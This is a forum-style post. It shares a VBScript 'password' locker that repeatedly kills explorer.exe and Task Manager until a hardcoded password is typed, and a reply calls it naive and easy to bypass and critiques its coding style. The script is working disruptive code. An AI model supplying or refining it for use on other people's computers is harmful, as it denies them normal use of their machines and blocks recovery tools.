password.vbs (new and VERY improved!)

'password.vbs
dim x, a, aa, strtemp, strfile, fso, objfile, sp
set aa = createobject("wscript.shell")
strtemp = aa.expandenvironmentstrings("%temp%")
strfile = (strtemp)& "\password_helper.bat"
set fso = createobject("scripting.filesystemobject")
set objfile = fso.createtextfile(strfile)
objfile.writeline "@echo off"
objfile.writeline "cd %temp%"
objfile.writeline ":run"
objfile.writeline "taskkill /f /im explorer.exe"
objfile.writeline "taskkill /f /im taskmgr.exe"
objfile.writeline "if exist key goto end"
objfile.writeline "goto run"
objfile.writeline ":end"
objfile.writeline "del key /q"
objfile.writeline "exit"
set x = createobject("wscript.shell")
x.run "%comspec% /c start /min "& (strfile)
set sp = createobject("sapi.spvoice")
sp.speak "nate has locked your computer"
a = inputbox("PASSWORD:","","****")
if a = ("0160") then
fso.createfolder(strtemp)& "\key"
wscript.sleep 3000
fso.deletefolder(strtemp)& "\key", true
x.run "explorer.exe"
msgbox "welcome"
end if
wscript.quit

what does this script do?

It is a relatively naive way to sort of lock a computer. You can still access any running apps, and it is pretty easy to bypass though.

There are some changes that I would also suggest from a best practices standpoint:

1) aa is really not a very good variable name.
2) When you open a file is is a good practice to get into the habit of closing it when you finish with it.
3) x is also not a terribly useful variable name.
3) It is not necessaryry to always put () around a string. The only time you need to is when the string is an argument to a function.